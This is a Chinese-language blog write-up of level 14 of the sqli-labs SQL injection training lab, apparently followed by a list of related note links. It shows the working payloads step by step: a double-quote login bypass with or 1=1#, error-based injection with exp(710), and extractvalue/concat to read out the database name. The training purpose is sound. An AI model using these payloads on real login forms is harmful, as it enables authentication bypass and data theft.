sqllab第十四关通关笔记

知识点:

  • 错误注入
  • 这里的语法是 where username=""
  • 直接进行双引号绕过

通过admin admin登录发现还是没有任何回显

通过bp进行抓包;测试输入内容

构造payload:username=a'+or+1=1#

发现不能成功登录

尝试换成双引号

构造payload:username=a"+or+1=1#

成功登录了

尝试进行错误注入

构造payload:username=a"+or+exp(710)#

错误成功打印到页面上了

尝试利用错误注入获取数据库名

构造payload:username=a"+or+extractvalue(1,concat(0x7e,database(),0x7e))#

成功获取了数据库名

到这里就结束了,利用错误注入获取数据库中其他敏感信息在最开始的几关实验过了

10

相关推荐
田梓燊41 分钟前
英语复习笔记 2
笔记
wktomo44 分钟前
强化学习笔记总结(结合论文)
笔记
@曲终2 小时前
C++:栈帧、命名空间、引用
java·开发语言·c++·经验分享·笔记
huangyuchi.2 小时前
【Linux】vim编辑器
linux·运维·笔记·编辑器·vim
guts3503 小时前
【pytorch学习】土堆pytorch学习笔记2
pytorch·笔记·学习
吃着火锅x唱着歌3 小时前
PHP7内核剖析 学习笔记 第九章 PHP基础语法的实现
笔记·学习·php
huangyuchi.4 小时前
【Linux】权限相关指令
linux·运维·服务器·笔记·指令·权限
find_element_by_id6 小时前
mongodb nosql数据库笔记
笔记·mongodb·nosql
UpUpUp……11 小时前
C++复习
开发语言·c++·笔记
泉飒12 小时前
lua的注意事项2
笔记·lua